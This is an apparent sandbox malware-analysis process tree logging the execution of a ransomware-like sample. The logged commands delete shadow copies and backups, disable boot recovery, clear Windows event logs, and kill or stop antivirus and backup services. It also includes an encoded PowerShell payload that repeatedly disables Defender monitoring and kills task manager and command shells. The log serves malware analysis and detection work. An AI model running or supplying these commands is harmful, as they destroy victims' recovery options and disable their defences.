C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop iVPAgent /y3⤵PID:4748
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "wevtutil cl system"1⤵PID:2332
-
C:\Windows\SysWOW64\wevtutil.exewevtutil cl system2⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3192
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=T: /on=C: /maxsize=401MB"1⤵PID:620
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=T: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:1752
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=O: /on=C: /maxsize=401MB"1⤵PID:2056
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=O: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3936
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=O: /on=C: /maxsize=401MB"1⤵PID:2104
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=O: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3600
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=M: /on=C: /maxsize=401MB"1⤵PID:2680
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=M: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3732
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=K: /on=C: /maxsize=401MB"1⤵PID:2188
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=K: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3644
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=Q: /on=C: /maxsize=401MB"1⤵PID:1464
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=Q: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3828
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "net stop TMBMServer /y"1⤵PID:2460
-
C:\Windows\SysWOW64\net.exenet stop TMBMServer /y2⤵PID:3796
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TMBMServer /y3⤵PID:4216
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=N: /on=C: /maxsize=401MB"1⤵PID:2384
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=N: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3820
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=L: /on=C: /maxsize=401MB"1⤵PID:2368
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=L: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3840
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=H: /on=C: /maxsize=401MB"1⤵PID:2408
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=H: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3676
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB"1⤵PID:1988
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3356
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=D: /on=C: /maxsize=401MB"1⤵PID:1640
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=D: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3608
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=I: /on=C: /maxsize=401MB"1⤵PID:2444
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=I: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3204
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=E: /on=C: /maxsize=401MB"1⤵PID:1768
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=E: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3004
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=F: /on=C: /maxsize=401MB"1⤵PID:2060
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=F: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3708
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=G: /on=C: /maxsize=401MB"1⤵PID:2928
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=G: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:4060
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=A: /on=C: /maxsize=401MB"1⤵PID:1668
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=A: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3692
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=S: /on=C: /maxsize=401MB"1⤵PID:1860
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=S: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3712
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=R: /on=C: /maxsize=401MB"1⤵PID:1812
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=R: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3224
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=J: /on=C: /maxsize=401MB"1⤵PID:3044
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=J: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3684
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "wbadmin DELETE SYSTEMSTATEBACKUP"1⤵PID:1092
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"1⤵PID:1656
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "taskkill /f /im vastsvc.exe"1⤵PID:876
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im vastsvc.exe2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4052
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "net stop TMResponse /y"1⤵PID:1444
-
C:\Windows\SysWOW64\net.exenet stop TMResponse /y2⤵PID:3660
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TMResponse /y3⤵PID:4396
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "net stop Avast Antivirus! /y"1⤵PID:576
-
C:\Windows\SysWOW64\net.exenet stop Avast Antivirus! /y2⤵PID:4024
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Avast Antivirus! /y3⤵PID:1092
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "taskkill /f /im SophosSAU.exe"1⤵PID:348
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im SophosSAU.exe2⤵PID:3120
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "bcdedit /set {default} recoveryenabled No"1⤵PID:2808
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "wbadmin delete catalog -quiet"1⤵PID:2800
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "wevtutil cl application"1⤵PID:2816
-
C:\Windows\SysWOW64\wevtutil.exewevtutil cl application2⤵
- Clears Windows event logs
PID:3196
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "taskkill /f /im McAfeeFramework.exe"1⤵PID:688
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im McAfeeFramework.exe2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3160
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "taskkill /f /im NortonSecurity.exe"1⤵PID:268
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im NortonSecurity.exe2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3952
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin delete shadows /all /quiet"1⤵PID:528
-
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3144
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "taskkill /f /im avgsvc.exe"1⤵PID:2820
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im avgsvc.exe2⤵PID:3960
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "taskkill /f /im SupportConnector.exe"1⤵PID:2652
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im SupportConnector.exe2⤵PID:3976
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "taskkill /f /im PccNTMon.exe"1⤵PID:2496
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im PccNTMon.exe2⤵PID:3920
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "taskkill /f /im ResponseService.exe"1⤵PID:788
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ResponseService.exe2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3968
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "wevtutil cl securit"1⤵PID:1820
-
C:\Windows\SysWOW64\wevtutil.exewevtutil cl securit2⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3184
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "net stop BackupExecAgentBrowser /y"1⤵PID:2024
-
C:\Windows\SysWOW64\net.exenet stop BackupExecAgentBrowser /y2⤵PID:3892
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y3⤵PID:4140
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest"1⤵PID:2028
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "taskkill /f /im KasperskyService.exe"1⤵PID:1716
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im KasperskyService.exe2⤵PID:3852
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "taskkill /f /im tmwscsvc.exe"1⤵PID:740
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tmwscsvc.exe2⤵PID:3944
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "taskkill /f /im iVPAgent.exe"1⤵PID:600
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im iVPAgent.exe2⤵PID:3876
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "taskkill /f /im powerpnt.exe"1⤵PID:2996
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im powerpnt.exe2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3800
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "taskkill /f /im AOTAgent.exe"1⤵PID:2988
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im AOTAgent.exe2⤵PID:3620
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=Z: /on=C: /maxsize=401MB"1⤵PID:2984
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=Z: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3524
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "taskkill /f /im CETASvc.exe"1⤵PID:2936
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im CETASvc.exe2⤵PID:3612
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "powershell.exe -ep bypass -ec CgAoACgAJwBTACcAKwAnAHQAYQByAHQAJwArACcALQBQAHIAbwBjAGUAcwBzACcAKwAnACAALQAnACsAJwBGAGkAbABlAFAAJwArACcAYQB0AGgAIABrAHAAbgBwACcAKwAnAG8AJwArACcAdwAnACsAJwBlAHIAcwAnACsAJwBoAGUAbABsAC4AZQAnACsAJwB4AGUAawBwAG4AIAAnACsAJwAtAEEAJwArACcAcgAnACsAJwBnAHUAbQAnACsAJwBlAG4AJwArACcAdABMACcAKwAnAGkAJwArACcAcwB0ACAAJwArACcAZwBWAHQALQAnACsAJwBlAHAAIABiAHkAcABhAHMAcwAgACcAKwAnAC0AdwAgAGgAaQBkAGQAZQAnACsAJwBuACAAJwArACcALQBjACAAawBwAG4AJwArACcAdwBoAGkAJwArACcAbABlACgASAAnACsAJwBLAGkAJwArACcAdAByAHUAZQApACcAKwAnAHsAJwArACcAIAAnACsAJwBTACcAKwAnAGUAJwArACcAdAAnACsAJwAtAE0AcABQAHIAZQAnACsAJwBmACcAKwAnAGUAcgBlACcAKwAnAG4AYwBlACcAKwAnACAALQBEAGkAcwBhAGIAbABlAFIAJwArACcAZQBhAGwAJwArACcAdABpAG0AZQBNAG8AJwArACcAbgAnACsAJwBpAHQAbwByAGkAJwArACcAbgBnACAAJwArACcASABLAGkAJwArACcAdAAnACsAJwByAHUAJwArACcAZQAgACcAKwAnAH0AawBwACcAKwAnAG4AZwBWAHQACgBTAHQAYQByACcAKwAnAHQAJwArACcALQAnACsAJwBQAHIAbwBjACcAKwAnAGUAcwBzACAALQBGAGkAbABlAFAAYQB0ACcAKwAnAGgAJwArACcAIABrAHAAJwArACcAbgBwAG8AdwAnACsAJwBlAHIAcwBoAGUAJwArACcAbABsACcAKwAnAC4AZQB4AGUAJwArACcAawBwAG4AJwArACcAIAAnACsAJwAtAEEAcgBnAHUAbQBlACcAKwAnAG4AdABMAGkAcwB0ACAAJwArACcAZwBWAHQALQBlAHAAIABiAHkAcABhACcAKwAnAHMAJwArACcAcwAnACsAJwAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQAnACsAJwBjACAAawBwACcAKwAnAG4AJwArACcAdwBoAGkAJwArACcAbABlACcAKwAnACgASABLAGkAdAByAHUAZQApAHsAIAAnACsAJwB0ACcAKwAnAGEAcwBrAGsAaQBsACcAKwAnAGwAIAAvAGYAIAAvAGkAJwArACcAbQAgAHQAYQBzAGsAJwArACcAawBpAGwAbAAuAGUAeABlACcAKwAnAH0AawBwAG4AZwBWACcAKwAnAHQACgAnACsAJwBTAHQAJwArACcAYQByAHQAJwArACcALQBQACcAKwAnAHIAbwBjAGUAcwBzACAALQBGACcAKwAnAGkAbABlAFAAJwArACcAYQB0AGgAIAAnACsAJwBrAHAAJwArACcAbgAnACsAJwBwAG8AJwArACcAdwAnACsAJwBlAHIAcwBoAGUAJwArACcAbABsAC4AZQAnACsAJwB4AGUAawAnACsAJwBwAG4AJwArACcAIAAnACsAJwAtAEEAcgBnAHUAJwArACcAbQBlAG4AdABMAGkAcwAnACsAJwB0ACcAKwAnACAAJwArACcAZwAnACsAJwBWAHQALQBlAHAAIABiAHkAcABhACcAKwAnAHMAcwAgAC0AdwAnACsAJwAgACcAKwAnAGgAaQBkAGQAJwArACcAZQAnACsAJwBuACcAKwAnACAALQAnACsAJwBjACAAJwArACcAawBwAG4AdwAnACsAJwBoAGkAbAAnACsAJwBlACgASABLAGkAdAAnACsAJwByAHUAZQAnACsAJwApAHsAIAAnACsAJwB0AGEAcwBrAGsAaQBsAGwAIAAvAGYAJwArACcAIAAvAGkAbQAgAHQAJwArACcAYQAnACsAJwBzACcAKwAnAGsAJwArACcAbABpAHMAdAAuAGUAJwArACcAeABlAH0AawBwAG4AZwBWAHQACgBTAHQAJwArACcAYQByACcAKwAnAHQALQBQAHIAbwBjAGUAJwArACcAcwBzACcAKwAnACAALQBGACcAKwAnAGkAbABlAFAAYQAnACsAJwB0AGgAIABrAHAAbgBwAG8AdwBlAHIAcwBoAGUAbAAnACsAJwBsAC4AZQB4AGUAJwArACcAawBwAG4AIAAtAEEAcgAnACsAJwBnAHUAbQBlAG4AdABMAGkAJwArACcAcwB0ACAAZwBWAHQALQBlAHAAIABiACcAKwAnAHkAJwArACcAcABhACcAKwAnAHMAJwArACcAcwAgACcAKwAnAC0AJwArACcAdwAgAGgAaQBkAGQAJwArACcAZQBuACAALQBjACAAawBwAG4AdwAnACsAJwBoAGkAbABlACgASABLAGkAdAByACcAKwAnAHUAJwArACcAZQAnACsAJwApAHsAIAAnACsAJwB0AGEAcwBrAGsAaQBsAGwAIAAvAGYAJwArACcAIAAnACsAJwAvAGkAJwArACcAbQAgAHQAYQAnACsAJwBzAGsAbQBnAHIALgAnACsAJwBlAHgAZQAnACsAJwB9ACcAKwAnAGsAcABuAGcAJwArACcAVgB0AAoAJwArACcAUwB0AGEAcgB0AC0AUAByAG8AJwArACcAYwBlAHMAcwAnACsAJwAgAC0ARgBpAGwAZQAnACsAJwBQAGEAdABoACAAawBwAG4AJwArACcAcABvAHcAZQByAHMAaABlAGwAJwArACcAbAAuAGUAeABlACcAKwAnAGsAcAAnACsAJwBuACAALQBBAHIAZwAnACsAJwB1AG0AZQAnACsAJwBuACcAKwAnAHQATABpAHMAdAAnACsAJwAgAGcAVgB0AC0AZQBwACAAJwArACcAYgB5AHAAJwArACcAYQBzACcAKwAnAHMAIAAnACsAJwAtAHcAIABoAGkAZABkAGUAbgAnACsAJwAgAC0AJwArACcAYwAgAGsAcAAnACsAJwBuACcAKwAnAHcAaABpAGwAZQAoAEgASwBpAHQAcgAnACsAJwB1AGUAKQB7ACcAKwAnACAAdABhAHMAawBrAGkAbABsACAAJwArACcALwBmACcAKwAnACAAJwArACcALwAnACsAJwBpAG0AIABjAG0AZAAuAGUAeABlAH0AJwArACcAawBwAG4AZwBWAHQACgBTACcAKwAnAHQAJwArACcAYQByACcAKwAnAHQALQAnACsAJwBQAHIAbwAnACsAJwBjAGUAcwAnACsAJwBzACAALQBGAGkAbAAnACsAJwBlAFAAYQAnACsAJwB0AGgAJwArACcAIABrAHAAbgBwAG8AdwBlAHIAcwBoAGUAbABsACcAKwAnAC4AZQB4AGUAawAnACsAJwBwAG4AIAAtACcAKwAnAEEAJwArACcAcgBnAHUAJwArACcAbQBlAG4AdAAnACsAJwBMAGkAcwAnACsAJwB0ACAAZwBWAHQALQBlAHAAIABiAHkAcABhAHMAJwArACcAcwAnACsAJwAgAC0AJwArACcAdwAgAGgAaQBkAGQAJwArACcAZQBuACAALQBjACcAKwAnACAAJwArACcAawAnACsAJwBwAG4AdwAnACsAJwBoAGkAbAAnACsAJwBlACgASABLAGkAdAByAHUAZQApACcAKwAnAHsAJwArACcAIAB0AGEAcwBrAGsAaQBsAGwAJwArACcAIAAnACsAJwAvAGYAIAAvAGkAbQAnACsAJwAgAHAAcwAuACcAKwAnAGUAJwArACcAeAAnACsAJwBlAH0AawBwAG4AZwBWAHQAJwApACAAIAAtAEMAcgBFAHAAbABBAGMARQAnAGcAVgB0ACcALABbAEMASABBAHIAXQAzADkAIAAtAHIARQBQAGwAQQBDAEUAIAAoAFsAQwBIAEEAcgBdADcAMgArAFsAQwBIAEEAcgBdADcANQArAFsAQwBIAEEAcgBdADEAMAA1ACkALABbAEMASABBAHIAXQAzADYAIAAtAHIARQBQAGwAQQBDAEUAJwBrAHAAbgAnACwAWwBDAEgAQQByAF0AMwA0ACkAIAB8ACAAJgAgACgAIAAkAHYARQByAGIAbwBTAEUAUAByAEUAZgBFAFIAZQBuAEMARQAuAHQAbwBzAHQAcgBpAE4AZwAoACkAWwAxACwAMwBdACsAJwB4ACcALQBKAG8ASQBOACcAJwApAAoA"1⤵PID:2940
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ep bypass -ec CgAoACgAJwBTACcAKwAnAHQAYQByAHQAJwArACcALQBQAHIAbwBjAGUAcwBzACcAKwAnACAALQAnACsAJwBGAGkAbABlAFAAJwArACcAYQB0AGgAIABrAHAAbgBwACcAKwAnAG8AJwArACcAdwAnACsAJwBlAHIAcwAnACsAJwBoAGUAbABsAC4AZQAnACsAJwB4AGUAawBwAG4AIAAnACsAJwAtAEEAJwArACcAcgAnACsAJwBnAHUAbQAnACsAJwBlAG4AJwArACcAdABMACcAKwAnAGkAJwArACcAcwB0ACAAJwArACcAZwBWAHQALQAnACsAJwBlAHAAIABiAHkAcABhAHMAcwAgACcAKwAnAC0AdwAgAGgAaQBkAGQAZQAnACsAJwBuACAAJwArACcALQBjACAAawBwAG4AJwArACcAdwBoAGkAJwArACcAbABlACgASAAnACsAJwBLAGkAJwArACcAdAByAHUAZQApACcAKwAnAHsAJwArACcAIAAnACsAJwBTACcAKwAnAGUAJwArACcAdAAnACsAJwAtAE0AcABQAHIAZQAnACsAJwBmACcAKwAnAGUAcgBlACcAKwAnAG4AYwBlACcAKwAnACAALQBEAGkAcwBhAGIAbABlAFIAJwArACcAZQBhAGwAJwArACcAdABpAG0AZQBNAG8AJwArACcAbgAnACsAJwBpAHQAbwByAGkAJwArACcAbgBnACAAJwArACcASABLAGkAJwArACcAdAAnACsAJwByAHUAJwArACcAZQAgACcAKwAnAH0AawBwACcAKwAnAG4AZwBWAHQACgBTAHQAYQByACcAKwAnAHQAJwArACcALQAnACsAJwBQAHIAbwBjACcAKwAnAGUAcwBzACAALQBGAGkAbABlAFAAYQB0ACcAKwAnAGgAJwArACcAIABrAHAAJwArACcAbgBwAG8AdwAnACsAJwBlAHIAcwBoAGUAJwArACcAbABsACcAKwAnAC4AZQB4AGUAJwArACcAawBwAG4AJwArACcAIAAnACsAJwAtAEEAcgBnAHUAbQBlACcAKwAnAG4AdABMAGkAcwB0ACAAJwArACcAZwBWAHQALQBlAHAAIABiAHkAcABhACcAKwAnAHMAJwArACcAcwAnACsAJwAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQAnACsAJwBjACAAawBwACcAKwAnAG4AJwArACcAdwBoAGkAJwArACcAbABlACcAKwAnACgASABLAGkAdAByAHUAZQApAHsAIAAnACsAJwB0ACcAKwAnAGEAcwBrAGsAaQBsACcAKwAnAGwAIAAvAGYAIAAvAGkAJwArACcAbQAgAHQAYQBzAGsAJwArACcAawBpAGwAbAAuAGUAeABlACcAKwAnAH0AawBwAG4AZwBWACcAKwAnAHQACgAnACsAJwBTAHQAJwArACcAYQByAHQAJwArACcALQBQACcAKwAnAHIAbwBjAGUAcwBzACAALQBGACcAKwAnAGkAbABlAFAAJwArACcAYQB0AGgAIAAnACsAJwBrAHAAJwArACcAbgAnACsAJwBwAG8AJwArACcAdwAnACsAJwBlAHIAcwBoAGUAJwArACcAbABsAC4AZQAnACsAJwB4AGUAawAnACsAJwBwAG4AJwArACcAIAAnACsAJwAtAEEAcgBnAHUAJwArACcAbQBlAG4AdABMAGkAcwAnACsAJwB0ACcAKwAnACAAJwArACcAZwAnACsAJwBWAHQALQBlAHAAIABiAHkAcABhACcAKwAnAHMAcwAgAC0AdwAnACsAJwAgACcAKwAnAGgAaQBkAGQAJwArACcAZQAnACsAJwBuACcAKwAnACAALQAnACsAJwBjACAAJwArACcAawBwAG4AdwAnACsAJwBoAGkAbAAnACsAJwBlACgASABLAGkAdAAnACsAJwByAHUAZQAnACsAJwApAHsAIAAnACsAJwB0AGEAcwBrAGsAaQBsAGwAIAAvAGYAJwArACcAIAAvAGkAbQAgAHQAJwArACcAYQAnACsAJwBzACcAKwAnAGsAJwArACcAbABpAHMAdAAuAGUAJwArACcAeABlAH0AawBwAG4AZwBWAHQACgBTAHQAJwArACcAYQByACcAKwAnAHQALQBQAHIAbwBjAGUAJwArACcAcwBzACcAKwAnACAALQBGACcAKwAnAGkAbABlAFAAYQAnACsAJwB0AGgAIABrAHAAbgBwAG8AdwBlAHIAcwBoAGUAbAAnACsAJwBsAC4AZQB4AGUAJwArACcAawBwAG4AIAAtAEEAcgAnACsAJwBnAHUAbQBlAG4AdABMAGkAJwArACcAcwB0ACAAZwBWAHQALQBlAHAAIABiACcAKwAnAHkAJwArACcAcABhACcAKwAnAHMAJwArACcAcwAgACcAKwAnAC0AJwArACcAdwAgAGgAaQBkAGQAJwArACcAZQBuACAALQBjACAAawBwAG4AdwAnACsAJwBoAGkAbABlACgASABLAGkAdAByACcAKwAnAHUAJwArACcAZQAnACsAJwApAHsAIAAnACsAJwB0AGEAcwBrAGsAaQBsAGwAIAAvAGYAJwArACcAIAAnACsAJwAvAGkAJwArACcAbQAgAHQAYQAnACsAJwBzAGsAbQBnAHIALgAnACsAJwBlAHgAZQAnACsAJwB9ACcAKwAnAGsAcABuAGcAJwArACcAVgB0AAoAJwArACcAUwB0AGEAcgB0AC0AUAByAG8AJwArACcAYwBlAHMAcwAnACsAJwAgAC0ARgBpAGwAZQAnACsAJwBQAGEAdABoACAAawBwAG4AJwArACcAcABvAHcAZQByAHMAaABlAGwAJwArACcAbAAuAGUAeABlACcAKwAnAGsAcAAnACsAJwBuACAALQBBAHIAZwAnACsAJwB1AG0AZQAnACsAJwBuACcAKwAnAHQATABpAHMAdAAnACsAJwAgAGcAVgB0AC0AZQBwACAAJwArACcAYgB5AHAAJwArACcAYQBzACcAKwAnAHMAIAAnACsAJwAtAHcAIABoAGkAZABkAGUAbgAnACsAJwAgAC0AJwArACcAYwAgAGsAcAAnACsAJwBuACcAKwAnAHcAaABpAGwAZQAoAEgASwBpAHQAcgAnACsAJwB1AGUAKQB7ACcAKwAnACAAdABhAHMAawBrAGkAbABsACAAJwArACcALwBmACcAKwAnACAAJwArACcALwAnACsAJwBpAG0AIABjAG0AZAAuAGUAeABlAH0AJwArACcAawBwAG4AZwBWAHQACgBTACcAKwAnAHQAJwArACcAYQByACcAKwAnAHQALQAnACsAJwBQAHIAbwAnACsAJwBjAGUAcwAnACsAJwBzACAALQBGAGkAbAAnACsAJwBlAFAAYQAnACsAJwB0AGgAJwArACcAIABrAHAAbgBwAG8AdwBlAHIAcwBoAGUAbABsACcAKwAnAC4AZQB4AGUAawAnACsAJwBwAG4AIAAtACcAKwAnAEEAJwArACcAcgBnAHUAJwArACcAbQBlAG4AdAAnACsAJwBMAGkAcwAnACsAJwB0ACAAZwBWAHQALQBlAHAAIABiAHkAcABhAHMAJwArACcAcwAnACsAJwAgAC0AJwArACcAdwAgAGgAaQBkAGQAJwArACcAZQBuACAALQBjACcAKwAnACAAJwArACcAawAnACsAJwBwAG4AdwAnACsAJwBoAGkAbAAnACsAJwBlACgASABLAGkAdAByAHUAZQApACcAKwAnAHsAJwArACcAIAB0AGEAcwBrAGsAaQBsAGwAJwArACcAIAAnACsAJwAvAGYAIAAvAGkAbQAnACsAJwAgAHAAcwAuACcAKwAnAGUAJwArACcAeAAnACsAJwBlAH0AawBwAG4AZwBWAHQAJwApACAAIAAtAEMAcgBFAHAAbABBAGMARQAnAGcAVgB0ACcALABbAEMASABBAHIAXQAzADkAIAAtAHIARQBQAGwAQQBDAEUAIAAoAFsAQwBIAEEAcgBdADcAMgArAFsAQwBIAEEAcgBdADcANQArAFsAQwBIAEEAcgBdADEAMAA1ACkALABbAEMASABBAHIAXQAzADYAIAAtAHIARQBQAGwAQQBDAEUAJwBrAHAAbgAnACwAWwBDAEgAQQByAF0AMwA0ACkAIAB8ACAAJgAgACgAIAAkAHYARQByAGIAbwBTAEUAUAByAEUAZgBFAFIAZQBuAEMARQAuAHQAbwBzAHQAcgBpAE4AZwAoACkAWwAxACwAMwBdACsAJwB4ACcALQBKAG8ASQBOACcAJwApAAoA2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3504 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -w hidden -c "while($true){ Set-MpPreference -DisableRealtimeMonitoring $true }"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2788
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -w hidden -c "while($true){ taskkill /f /im taskkill.exe}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4568 -
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4136
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4496
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:1556
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3788
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3660
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4812
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4464
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3624
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵
- Suspicious use of AdjustPrivilegeToken
